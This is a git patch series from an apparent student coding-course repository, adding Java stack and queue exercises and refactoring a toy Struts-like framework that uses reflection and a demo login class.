+        size = 0 ;
+    }
+
+    public boolean isEmpty() {
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+
+
+    
+    public int size() {
+        return size;
+    }
+
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+        size++;
+    }
+
+    public E deQueue() {
+        if(this.isEmpty() ) return null;
+
+        while(!stack1.isEmpty()){
+            stack2.push(stack1.pop());
+        }
+
+        E data = stack2.pop();
+
+        //put back the data
+        while(!stack1.isEmpty()){
+            stack1.push(stack2.pop());
+        }
+
+        size--;
+        return data;
+    }
+
+
+ }
+

From cf8724dd4b9f11c787031d0d9bfed31edf0a0229 Mon Sep 17 00:00:00 2001
From: unknown <白东良>
Date: Sat, 6 May 2017 20:14:13 +0800
Subject: [PATCH 204/262] =?UTF-8?q?week9=E6=95=B0=E6=8D=AE=E7=BB=93?=
 =?UTF-8?q?=E6=9E=84=E4=BD=9C=E4=B8=9A=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/QuickMinStack.java                    |  40 +++++++
 .../src/StackWithTwoQueues.java               |  53 ++++++++++
 .../src/TwoStackInOneArray.java               | 100 ++++++++++++++++++
 3 files changed, 193 insertions(+)
 create mode 100644 group23/563253496/week9_datastructure/src/QuickMinStack.java
 create mode 100644 group23/563253496/week9_datastructure/src/StackWithTwoQueues.java
 create mode 100644 group23/563253496/week9_datastructure/src/TwoStackInOneArray.java

diff --git a/group23/563253496/week9_datastructure/src/QuickMinStack.java b/group23/563253496/week9_datastructure/src/QuickMinStack.java
new file mode 100644
index 0000000000..3b135521a0
--- /dev/null
+++ b/group23/563253496/week9_datastructure/src/QuickMinStack.java
@@ -0,0 +1,40 @@
+//package com.coding.basic.stack;
+
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ *
+ * @author liuxin
+ */
+public class QuickMinStack {
+    LinkedList<Integer> list = new LinkedList<Integer>();
+    LinkedList<Integer> temp = new LinkedList<>();
+    int min = Integer.MAX_VALUE;
+
+    public void push(int data) {
+        if (data < min) {
+            min = data;
+        }
+        list.add(data);
+    }
+
+    public int pop() {
+        int num = list.remove(list.size() - 1);
+        if (num == min) {
+            for (int tmp : list) {
+                temp.add(tmp);
+            }
+        }
+        Collections.sort(temp);
+        min = temp.get(0);
+        return list.remove(list.size() - 1);
+    }
+
+    public int findMin() {
+        return min;
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week9_datastructure/src/StackWithTwoQueues.java b/group23/563253496/week9_datastructure/src/StackWithTwoQueues.java
new file mode 100644
index 0000000000..238f5cff0f
--- /dev/null
+++ b/group23/563253496/week9_datastructure/src/StackWithTwoQueues.java
@@ -0,0 +1,53 @@
+/**
+ * Created by bdl19 on 2017/5/6.
+ */
+
+import java.util.*;
+
+
+public class StackWithTwoQueues {
+
+    private Queue<Integer> queue1 = new LinkedList<Integer>();
+    private Queue<Integer> queue2 = new LinkedList<Integer>();
+
+    public void push(int data) {
+        if(queue2.isEmpty()){
+            queue1.add(data);
+        }else{
+            queue2.add(data);
+        }
+    }
+
+    public int pop() {
+        if (queue1.size() == 0 && queue2.size() == 0) {
+            throw new IndexOutOfBoundsException();
+        }
+
+
+
+        if(queue2.isEmpty()){
+            while(!(queue1.size()==1)){
+                queue2.add(queue1.remove());
+            }
+            return queue1.remove();
+
+        }else{
+            while(!(queue2.size()==1)){
+                queue1.add(queue2.remove());
+            }
+            return queue2.remove();
+        }
+
+
+    }
+
+    public static void main(String[] args) {
+        StackWithTwoQueues s = new StackWithTwoQueues();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        for (int i = 0; i < 3; i++) {
+            System.out.println(s.pop());
+        }
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week9_datastructure/src/TwoStackInOneArray.java b/group23/563253496/week9_datastructure/src/TwoStackInOneArray.java
new file mode 100644
index 0000000000..28bc0a30af
--- /dev/null
+++ b/group23/563253496/week9_datastructure/src/TwoStackInOneArray.java
@@ -0,0 +1,100 @@
+/**
+ * Created by bdl19 on 2017/5/6.
+ */
+public class TwoStackInOneArray {
+    Object[] data = new Object[10];
+
+    private int index1 = 0;
+    private int index2 = data.length - 1;
+
+    private boolean isFull() {
+        if (index1 == index2) {
+            return true;
+        } else return false;
+    }
+
+    private void extendCapacity() {
+        Object[] temp = new Object[data.length + data.length / 2];
+        for (int i = 0; i <= index1; i++) {
+            temp[i] = data[i];
+        }
+        int indext = data.length - 1;
+        for (int i = temp.length - 1; i >= data.length - index2; i--) {
+            temp[i] = indext;
+            indext--;
+        }
+        index2 = temp.length - (temp.length - index1);
+        this.data = temp;
+    }
+
+    /**
+     * 向第一个栈中压入元素
+     *
+     * @param o
+     */
+    public void push1(Object o) {
+        if (this.isFull()) {
+            extendCapacity();
+        }
+        data[index1] = o;
+        index1++;
+
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     *
+     * @return
+     */
+    public Object pop1() {
+        index1--;
+        Object o = data[index1];
+        data[index1] = null;
+        return o;
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek1() {
+        return data[index1 - 1];
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+        if (this.isFull()) {
+            extendCapacity();
+        }
+        data[index2] = o;
+        index2--;
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     *
+     * @return
+     */
+    public Object pop2() {
+
+        Object o = data[++index2];
+        data[index2] = null;
+        return o;
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek2() {
+
+        return data[index2 + 1];
+    }
+
+}
\ No newline at end of file

From 1d2afc33ceef5ebecca6da085eda6f0c7d8234bf Mon Sep 17 00:00:00 2001
From: Mandarava <569045298@qq.com>
Date: Sat, 6 May 2017 21:01:44 +0800
Subject: [PATCH 205/262] pom.xml

---
 group03/569045298/pom.xml | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/group03/569045298/pom.xml b/group03/569045298/pom.xml
index c2a9dd870e..ee8af60326 100644
--- a/group03/569045298/pom.xml
+++ b/group03/569045298/pom.xml
@@ -10,11 +10,6 @@
     <url>http://maven.apache.org</url>
     
     <dependencies>
-        <dependency>
-            <groupId>org.junit.jupiter</groupId>
-            <artifactId>junit-jupiter-api</artifactId>
-            <version>RELEASE</version>
-        </dependency>
         <dependency>
             <groupId>junit</groupId>
             <artifactId>junit</artifactId>

From 602263069eccb0b7e5c923b5d0a893773a70c400 Mon Sep 17 00:00:00 2001
From: Mandarava <569045298@qq.com>
Date: Sat, 6 May 2017 21:02:21 +0800
Subject: [PATCH 206/262] =?UTF-8?q?JVM=E7=AC=AC6=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/litestruts/LoginAction.java    |  93 +++--
 .../coderising/litestruts/ReflectionUtil.java |  97 ++++++
 .../com/coderising/litestruts/Struts.java     | 267 ++++++---------
 .../main/com/coderising/litestruts/View.java  |  56 +--
 .../main/com/coderising/litestruts/struts.xml |  26 +-
 .../basic/datastructure/LinkedList.java       | 174 ----------
 .../com/coding/basic/datastructure/Queue.java |   2 +
 .../datastructure/{ => array}/ArrayList.java  |   5 +-
 .../basic/datastructure}/array/ArrayUtil.java |  39 ++-
 .../datastructure/linklist/LRUPageFrame.java  | 106 ++++++
 .../datastructure/linklist/LinkedList.java    | 321 ++++++++++++++++++
 .../datastructure/stack/QuickMinStack.java    |  41 +++
 .../datastructure/{ => stack}/Stack.java      |   4 +-
 .../basic/datastructure/stack/StackUtil.java  | 127 +++++++
 .../stack/StackWithTwoQueues.java             |  54 +++
 .../stack/TwoStackInOneArray.java             |  86 +++++
 .../stack/expr/InfixExpression.java           |  15 +
 .../test/coderising/array/ArrayUtilTest.java  |   9 +-
 .../coderising/litestruts/StrutsTest.java     |  92 ++---
 .../datastructure/TestDataStructure.java      | 107 +++++-
 .../linklist/LRUPageFrameTest.java            |  32 ++
 .../stack/QuickMinStackTest.java              |  34 ++
 .../datastructure/stack/StackUtilTest.java    |  83 +++++
 .../stack/StackWithTwoQueuesTest.java         |  27 ++
 .../stack/TwoStackInOneArrayTest.java         |  28 ++
 .../stack/expr/InfixExprTest.java             |  50 +++
 26 files changed, 1494 insertions(+), 481 deletions(-)
 create mode 100644 group03/569045298/src/main/com/coderising/litestruts/ReflectionUtil.java
 delete mode 100644 group03/569045298/src/main/com/coding/basic/datastructure/LinkedList.java
 rename group03/569045298/src/main/com/coding/basic/datastructure/{ => array}/ArrayList.java (94%)
 rename group03/569045298/src/main/com/{coderising => coding/basic/datastructure}/array/ArrayUtil.java (87%)
 create mode 100644 group03/569045298/src/main/com/coding/basic/datastructure/linklist/LRUPageFrame.java
 create mode 100644 group03/569045298/src/main/com/coding/basic/datastructure/linklist/LinkedList.java
 create mode 100644 group03/569045298/src/main/com/coding/basic/datastructure/stack/QuickMinStack.java
 rename group03/569045298/src/main/com/coding/basic/datastructure/{ => stack}/Stack.java (88%)
 create mode 100644 group03/569045298/src/main/com/coding/basic/datastructure/stack/StackUtil.java
 create mode 100644 group03/569045298/src/main/com/coding/basic/datastructure/stack/StackWithTwoQueues.java
 create mode 100644 group03/569045298/src/main/com/coding/basic/datastructure/stack/TwoStackInOneArray.java
 create mode 100644 group03/569045298/src/main/com/coding/basic/datastructure/stack/expr/InfixExpression.java
 create mode 100644 group03/569045298/src/test/com/coding/basic/datastructure/linklist/LRUPageFrameTest.java
 create mode 100644 group03/569045298/src/test/com/coding/basic/datastructure/stack/QuickMinStackTest.java
 create mode 100644 group03/569045298/src/test/com/coding/basic/datastructure/stack/StackUtilTest.java
 create mode 100644 group03/569045298/src/test/com/coding/basic/datastructure/stack/StackWithTwoQueuesTest.java
 create mode 100644 group03/569045298/src/test/com/coding/basic/datastructure/stack/TwoStackInOneArrayTest.java
 create mode 100644 group03/569045298/src/test/com/coding/basic/datastructure/stack/expr/InfixExprTest.java

diff --git a/group03/569045298/src/main/com/coderising/litestruts/LoginAction.java b/group03/569045298/src/main/com/coderising/litestruts/LoginAction.java
index 3c3de8ba91..c64f51946b 100644
--- a/group03/569045298/src/main/com/coderising/litestruts/LoginAction.java
+++ b/group03/569045298/src/main/com/coderising/litestruts/LoginAction.java
@@ -1,47 +1,46 @@
-package com.coderising.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- *
- */
-public class LoginAction {
-
-    private String name;
-
-    private String password;
-
-    private String message;
-
-    public String execute() {
-        if ("test".equals(name) && "1234".equals(password)) {
-            this.message = "login successful";
-            return "success";
-        }
-        this.message = "login failed,please check your user/pwd";
-        return "fail";
-    }
-
-    public String getName() {
-        return name;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public void setPassword(String password) {
-        this.password = password;
-    }
-
-    public String getMessage() {
-        return this.message;
-    }
-
-    public void setMessage(String message) {
-        this.message = message;
-    }
-}
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ */
+public class LoginAction {
+
+    private String name;
+
+    private String password;
+
+    private String message;
+
+    public String execute() {
+        if ("test".equals(name) && "1234".equals(password)) {
+            this.message = "login successful";
+            return "success";
+        }
+        this.message = "login failed,please check your user/pwd";
+        return "fail";
+    }
+
+    public String getName() {
+        return name;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public void setPassword(String password) {
+        this.password = password;
+    }
+
+    public String getMessage() {
+        return this.message;
+    }
+
+    public void setMessage(String message) {
+        this.message = message;
+    }
+}
diff --git a/group03/569045298/src/main/com/coderising/litestruts/ReflectionUtil.java b/group03/569045298/src/main/com/coderising/litestruts/ReflectionUtil.java
new file mode 100644
index 0000000000..cd58cc9ca9
--- /dev/null
+++ b/group03/569045298/src/main/com/coderising/litestruts/ReflectionUtil.java
@@ -0,0 +1,97 @@
+package com.coderising.litestruts;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by zt on 2017/3/11.
+ */
+public final class ReflectionUtil {
+
+    public static Map<String, Method> getMethodsMap(Class<?> clazz) {
+        Map<String, Method> methodMap = new HashMap<>();
+        Method[] methods = clazz.getDeclaredMethods();
+        for (Method method : methods) {
+            methodMap.put(method.getName(), method);
+        }
+        return methodMap;
+    }
+
+    public static Map<String, Method> getMethodsByStartName(Class<?> clazz, String startWithName) {
+        Map<String, Method> methodMap = new HashMap<>();
+        Method[] methods = clazz.getDeclaredMethods();
+        for (Method method : methods) {
+            if (method.getName().startsWith(startWithName)) {
+                methodMap.put(method.getName(), method);
+            }
+        }
+        return methodMap;
+    }
+
+    public static Map<String, Method> getGetterMethods(Class<?> clazz) {
+        return getMethodsByStartName(clazz, "get");
+    }
+
+    public static Map<String, Method> getSetterMethods(Class<?> clazz) {
+        return getMethodsByStartName(clazz, "set");
+    }
+
+    public static String getMethodName(String fieldName, String startWithName) {
+        StringBuilder stringBuilder = new StringBuilder();
+        stringBuilder.append(startWithName);
+        stringBuilder.append(fieldName.substring(0, 1).toUpperCase());
+        stringBuilder.append(fieldName.substring(1));
+        return stringBuilder.toString();
+    }
+
+    public static String getGettterMethodName(String fieldName) {
+        return getMethodName(fieldName, "get");
+    }
+
+    public static String getSettterMethodName(String fieldName) {
+        return getMethodName(fieldName, "set");
+    }
+
+    public static void setParameters(Map<String, String> parameters, Object object) {
+        try {
+            Map<String, Method> methodMap = getSetterMethods(object.getClass());
+            for (Map.Entry<String, String> entry : parameters.entrySet()) {
+                String key = entry.getKey();
+                String value = entry.getValue();
+                Method setterMethod = methodMap.get(getSettterMethodName(key));
+                setterMethod.invoke(object, value);
+            }
+        } catch (IllegalAccessException e) {
+            e.printStackTrace();
+        } catch (InvocationTargetException e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static Map<Object, Object> getParametersMap(Class<?> clazz, Object newInstance) {
+        try {
+            Map<Object, Object> map = new HashMap<>();
+            Map<String, Method> methodMap = getMethodsMap(clazz);
+            Field[] fields = clazz.getDeclaredFields();
+            if (fields != null && fields.length > 0) {
+                for (int i = 0; i < fields.length; i++) {
+                    Field field = fields[i];
+                    String fieldName = field.getName();
+                    Method getterMethod = methodMap.get(getGettterMethodName(fieldName));
+                    Object value = getterMethod.invoke(newInstance);
+                    map.put(fieldName, value);
+                }
+            }
+            return map;
+        } catch (IllegalAccessException e) {
+            e.printStackTrace();
+        } catch (InvocationTargetException e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
+
+}
diff --git a/group03/569045298/src/main/com/coderising/litestruts/Struts.java b/group03/569045298/src/main/com/coderising/litestruts/Struts.java
index 7ec84c9a2d..dff1df1d72 100644
--- a/group03/569045298/src/main/com/coderising/litestruts/Struts.java
+++ b/group03/569045298/src/main/com/coderising/litestruts/Struts.java
@@ -1,156 +1,111 @@
-package com.coderising.litestruts;
-
-import com.coderising.litestruts.StrutsBean.Action;
-import com.coderising.litestruts.StrutsBean.Result;
-
-import org.dom4j.Attribute;
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-import java.io.File;
-import java.lang.reflect.Field;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-
-/**
- * 模拟struts执行
- * 读取类似struts.xml文件，根据xml的定义创建相关的Action类来执行
- */
-public class Struts {
-
-    private static final String FILE_PATH = "src/main/com/coderising/litestruts/struts.xml";
-
-    public View runAction(String actionName, Map<String, String> parameters) {
-        // 视图
-        View view = new View();
-        // 读取配置文件struts.xml
-        Map<String, Action> actions = this.xmlToList();
-        if (null == actions || actions.size() == 0) {
-            return null;
-        }
-        try {
-            // 根据actionName找到相对应的class
-            Action action = actions.get(actionName);
-            Class clazz = Class.forName(action.getClassName());
-            // 通过反射实例化
-            Object newInstance = clazz.newInstance();
-            // 获得所有方法
-            Map<String, Method> methodMap = new HashMap<>();
-            Method[] methods = clazz.getDeclaredMethods();
-            for (Method method : methods) {
-                methodMap.put(method.getName(), method);
-            }
-            // 根据parameters中的数据，调用对象的setter方法
-            for (Map.Entry<String, String> entry : parameters.entrySet()) {
-                String key = entry.getKey();
-                String value = entry.getValue();
-                Method setterMethod = methodMap.get(settterMethodName(key));
-                setterMethod.invoke(newInstance, value);
-            }
-            // 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-            Method executeMethod = clazz.getMethod("execute");
-            Object object = executeMethod.invoke(newInstance);
-            // 通过反射找到对象的所有getter方法
-            Map<Object, Object> map = new HashMap<>();
-            Field[] fields = clazz.getDeclaredFields();
-            if (fields != null && fields.length > 0) {
-                // 通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,
-                for (int i = 0; i < fields.length; i++) {
-                    Field field = fields[i];
-                    String fieldName = field.getName();
-                    Method getterMethod = methodMap.get(gettterMethodName(fieldName));
-                    Object value = getterMethod.invoke(newInstance);
-                    map.put(fieldName, value);
-                }
-            }
-            // 放到View对象的parameters中
-            view.setParameters(map);
-            // 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，放到View对象的jsp字段中
-            List<Result> resultList = action.getResult();
-            for (Result result : resultList) {
-                if (result.getName().equals(object)) {
-                    view.setJsp(result.getValue());
-                }
-            }
-        } catch (ClassNotFoundException e) {
-            e.printStackTrace();
-        } catch (NoSuchMethodException e) {
-            e.printStackTrace();
-        } catch (IllegalAccessException e) {
-            e.printStackTrace();
-        } catch (InvocationTargetException e) {
-            e.printStackTrace();
-        } catch (InstantiationException e) {
-            e.printStackTrace();
-        }
-        return view;
-    }
-
-    private Map<String, Action> xmlToList() {
-        Map<String, Action> map = new HashMap<>();
-        SAXReader saxReader = new SAXReader();
-        Document document;
-        try {
-            document = saxReader.read(new File(FILE_PATH));
-            Element rootElement = document.getRootElement();
-            Iterator<Element> iterator = rootElement.elementIterator("action");
-            while (iterator.hasNext()) {
-                Action action = new Action();
-                List<Result> results = new ArrayList<>();
-                action.setResult(results);
-                Element element = iterator.next();
-                List<Attribute> attributes = element.attributes();
-                for (Attribute attribute : attributes) {
-                    String attributeName = attribute.getName();
-                    if (attributeName.equals("name")) {
-                        action.setName(attribute.getStringValue());
-                    } else if (attributeName.equals("class")) {
-                        action.setClassName(attribute.getStringValue());
-                    }
-                }
-                Iterator<Element> iterator1 = element.elementIterator();
-                while (iterator1.hasNext()) {
-                    Result result = new Result();
-                    Element element1 = iterator1.next();
-                    List<Attribute> attributes1 = element1.attributes();
-                    for (Attribute attribute : attributes1) {
-                        String attributeName = attribute.getName();
-                        if (attributeName.equals("name")) {
-                            result.setName(attribute.getStringValue());
-                        }
-                    }
-                    result.setValue(element1.getStringValue());
-                    results.add(result);
-                }
-                map.put(action.getName(), action);
-            }
-        } catch (DocumentException e) {
-            e.printStackTrace();
-        }
-        return map;
-    }
-
-    private String gettterMethodName(String fieldName) {
-        StringBuilder stringBuilder = new StringBuilder();
-        stringBuilder.append("get");
-        stringBuilder.append(fieldName.substring(0, 1).toUpperCase());
-        stringBuilder.append(fieldName.substring(1));
-        return stringBuilder.toString();
-    }
-
-    private String settterMethodName(String fieldName) {
-        StringBuilder stringBuilder = new StringBuilder();
-        stringBuilder.append("set");
-        stringBuilder.append(fieldName.substring(0, 1).toUpperCase());
-        stringBuilder.append(fieldName.substring(1));
-        return stringBuilder.toString();
-    }
-
-}
+package com.coderising.litestruts;
+
+import com.coderising.litestruts.StrutsBean.Action;
+import com.coderising.litestruts.StrutsBean.Result;
+
+import org.dom4j.Attribute;
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+import java.io.File;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * 模拟struts执行
+ * 读取类似struts.xml文件，根据xml的定义创建相关的Action类来执行
+ */
+public class Struts {
+
+    private static final String FILE_PATH = "src/main/com/coderising/litestruts/struts.xml";
+
+    public View runAction(String actionName, Map<String, String> parameters) {
+        // 读取配置文件struts.xml
+        Map<String, Action> configuration = this.parseXML();
+        if (null == configuration || configuration.size() == 0) {
+            return null;
+        }
+        try {
+            Action actions = configuration.get(actionName);
+            Class<?> clazz = Class.forName(actions.getClassName());
+            Object action = clazz.newInstance();
+            ReflectionUtil.setParameters(parameters, action);
+            Method executeMethod = clazz.getMethod("execute");
+            Object object = executeMethod.invoke(action);
+            Map<Object, Object> map = ReflectionUtil.getParametersMap(clazz, action);
+            View view = new View();
+            view.setParameters(map);
+            // 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，放到View对象的jsp字段中
+            List<Result> resultList = actions.getResult();
+            for (Result result : resultList) {
+                if (result.getName().equals(object)) {
+                    view.setJsp(result.getValue());
+                }
+            }
+            return view;
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+        } catch (NoSuchMethodException e) {
+            e.printStackTrace();
+        } catch (IllegalAccessException e) {
+            e.printStackTrace();
+        } catch (InvocationTargetException e) {
+            e.printStackTrace();
+        } catch (InstantiationException e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
+
+    private Map<String, Action> parseXML() {
+        Map<String, Action> map = new HashMap<>();
+        SAXReader saxReader = new SAXReader();
+        Document document;
+        try {
+            document = saxReader.read(new File(FILE_PATH));
+            Element rootElement = document.getRootElement();
+            Iterator<Element> iterator = rootElement.elementIterator("action");
+            while (iterator.hasNext()) {
+                Action action = new Action();
+                List<Result> results = new ArrayList<>();
+                action.setResult(results);
+                Element element = iterator.next();
+                List<Attribute> attributes = element.attributes();
+                for (Attribute attribute : attributes) {
+                    String attributeName = attribute.getName();
+                    if (attributeName.equals("name")) {
+                        action.setName(attribute.getStringValue());
+                    } else if (attributeName.equals("class")) {
+                        action.setClassName(attribute.getStringValue());
+                    }
+                }
+                Iterator<Element> iterator1 = element.elementIterator();
+                while (iterator1.hasNext()) {
+                    Result result = new Result();
+                    Element element1 = iterator1.next();
+                    List<Attribute> attributes1 = element1.attributes();
+                    for (Attribute attribute : attributes1) {
+                        String attributeName = attribute.getName();
+                        if (attributeName.equals("name")) {
+                            result.setName(attribute.getStringValue());
+                        }
+                    }
+                    result.setValue(element1.getStringValue());
+                    results.add(result);
+                }
+                map.put(action.getName(), action);
+            }
+        } catch (DocumentException e) {
+            e.printStackTrace();
+        }
+        return map;
+    }
+
+}
diff --git a/group03/569045298/src/main/com/coderising/litestruts/View.java b/group03/569045298/src/main/com/coderising/litestruts/View.java
index 258285e4f3..45c0b5e741 100644
--- a/group03/569045298/src/main/com/coderising/litestruts/View.java
+++ b/group03/569045298/src/main/com/coderising/litestruts/View.java
@@ -1,28 +1,28 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-
-    private String jsp;
-
-    private Map parameters;
-
-    public String getJsp() {
-        return jsp;
-    }
-
-    public View setJsp(String jsp) {
-        this.jsp = jsp;
-        return this;
-    }
-
-    public Map getParameters() {
-        return parameters;
-    }
-
-    public View setParameters(Map parameters) {
-        this.parameters = parameters;
-        return this;
-    }
-}
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+
+    private String jsp;
+
+    private Map parameters;
+
+    public String getJsp() {
+        return jsp;
+    }
+
+    public View setJsp(String jsp) {
+        this.jsp = jsp;
+        return this;
+    }
+
+    public Map getParameters() {
+        return parameters;
+    }
+
+    public View setParameters(Map parameters) {
+        this.parameters = parameters;
+        return this;
+    }
+}
diff --git a/group03/569045298/src/main/com/coderising/litestruts/struts.xml b/group03/569045298/src/main/com/coderising/litestruts/struts.xml
index 561e9693c1..f82a752b96 100644
--- a/group03/569045298/src/main/com/coderising/litestruts/struts.xml
+++ b/group03/569045298/src/main/com/coderising/litestruts/struts.xml
@@ -1,14 +1,14 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    
-    <action name="login" class="com.coderising.litestruts.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    
-    <action name="logout" class="com.coderising.litestruts.LogoutAction">
-        <result name="success">/jsp/welcome.jsp</result>
-        <result name="error">/jsp/error.jsp</result>
-    </action>
-
+<?xml version="1.0" encoding="UTF-8"?>
+<struts>
+    
+    <action name="login" class="com.coderising.litestruts.LoginAction">
+        <result name="success">/jsp/homepage.jsp</result>
+        <result name="fail">/jsp/showLogin.jsp</result>
+    </action>
+    
+    <action name="logout" class="com.coderising.litestruts.LogoutAction">
+        <result name="success">/jsp/welcome.jsp</result>
+        <result name="error">/jsp/error.jsp</result>
+    </action>
+
 </struts>
\ No newline at end of file
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/LinkedList.java b/group03/569045298/src/main/com/coding/basic/datastructure/LinkedList.java
deleted file mode 100644
index 0f4ac3231b..0000000000
--- a/group03/569045298/src/main/com/coding/basic/datastructure/LinkedList.java
+++ /dev/null
@@ -1,174 +0,0 @@
-package com.coding.basic.datastructure;
-
-/**
- * Created by zt on 2017/2/19.
- */
-public class LinkedList implements List {
-
-    private Node head;
-
-    private Node tail;
-
-    private int size = 0;
-
-    public LinkedList() {
-
-    }
-
-    @Override
-    public void add(Object object) {
-        if (null == head) {
-            head = new Node(object);
-            head.next = null;
-            tail = head;
-            size++;
-        } else {
-            // 尾插法
-            Node newNode = new Node(object);
-            tail.next = newNode;
-            tail = newNode;
-            tail.next = null;
-            size++;
-        }
-    }
-
-    @Override
-    public void add(int index, Object object) {
-        checkRange(index);
-        if (null == head) {
-            add(object);
-            return;
-        }
-        if (index == 0) {
-            addFirst(object);
-            return;
-        }
-        Node pre = node(index - 1);
-        Node newNode = new Node(object);
-        newNode.next = pre.next;
-        pre.next = newNode;
-        size++;
-    }
-
-    @Override
-    public Object get(int index) {
-        checkRange(index);
-        checkNodeNotNull();
-        Node node = node(index);
-        return node.data;
-    }
-
-    @Override
-    public Object remove(int index) {
-        checkRange(index);
-        checkNodeNotNull();
-        Object object;
-        if (index == 0) {
-            object = removeFirst();
-            return object;
-        }
-        Node pre = node(index - 1);
-        object = pre.next.data;
-        pre.next = pre.next.next;
-        size--;
-        return object;
-    }
-
-    @Override
-    public int size() {
-        return size;
-    }
-
-    public void addFirst(Object object) {
-        if (null == head) {
-            head = new Node(object);
-            head.next = null;
-            size++;
-        } else {
-            Node firstNode = new Node(object);
-            firstNode.next = head;
-            head = firstNode;
-            size++;
-        }
-    }
-
-    public Object removeFirst() {
-        checkNodeNotNull();
-        Object oldValue = head.data;
-        head = head.next;
-        size--;
-        return oldValue;
-    }
-
-    public Object removeLast() {
-        checkNodeNotNull();
-        Object oldValue;
-        if (size == 1) {
-            oldValue = head.data;
-            head = null;
-            return oldValue;
-        }
-        Node pre = node(size() - 2);
-        oldValue = pre.next.data;
-        pre.next = null;
-        size--;
-        return oldValue;
-    }
-
-    private void checkRange(int index) {
-        if (index > size - 1 || index < 0) {
-            throw new IndexOutOfBoundsException();
-        }
-    }
-
-    private void checkNodeNotNull() {
-        if (null == head) {
-            throw new NullPointerException();
-        }
-    }
-
-    private Node node(int index) {
-        Node node = head;
-        for (int i = 0; i < index; i++) {
-            node = node.next;
-        }
-        return node;
-    }
-
-    private static class Node {
-        Node next;
-        private Object data;
-
-        public Node() {
-
-        }
-
-        public Node(Object data) {
-            this.data = data;
-        }
-
-        public Node(Object data, Node next) {
-            this.data = data;
-            this.next = next;
-        }
-
-        public Node(Object data, Node next, Node prev) {
-            this.data = data;
-            this.next = next;
-        }
-    }
-
-     /*@Override
-    public void add(Object object) {
-        if (null == head) {
-            head = new Node(object);
-            head.next = null;
-        } else {
-            // 头插法
-            Node nextNode = new Node(object);
-            nextNode.next = head.next;
-            head.next = nextNode;
-        }
-    }*/
-
-}
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/Queue.java b/group03/569045298/src/main/com/coding/basic/datastructure/Queue.java
index d3d4ebfbab..f78de06510 100644
--- a/group03/569045298/src/main/com/coding/basic/datastructure/Queue.java
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/Queue.java
@@ -1,6 +1,8 @@
 package com.coding.basic.datastructure;
 
 
+import com.coding.basic.datastructure.array.ArrayList;
+
 /**
  * Created by zt on 2017/2/19.
  */
diff --git a/group03/569045298/src/main/com/coding/basic/datastructure/ArrayList.java b/group03/569045298/src/main/com/coding/basic/datastructure/array/ArrayList.java
similarity index 94%
rename from group03/569045298/src/main/com/coding/basic/datastructure/ArrayList.java
rename to group03/569045298/src/main/com/coding/basic/datastructure/array/ArrayList.java
index 8d3de85e34..b66481012b 100644
--- a/group03/569045298/src/main/com/coding/basic/datastructure/ArrayList.java
+++ b/group03/569045298/src/main/com/coding/basic/datastructure/array/ArrayList.java
@@ -1,6 +1,9 @@
-package com.coding.basic.datastructure;
+package com.coding.basic.datastructure.array;
 
 
+import com.coding.basic.datastructure.Iterator;
+import com.coding.basic.datastructure.List;
+
 /**
  * Created by zt on 2017/2/19.
  */
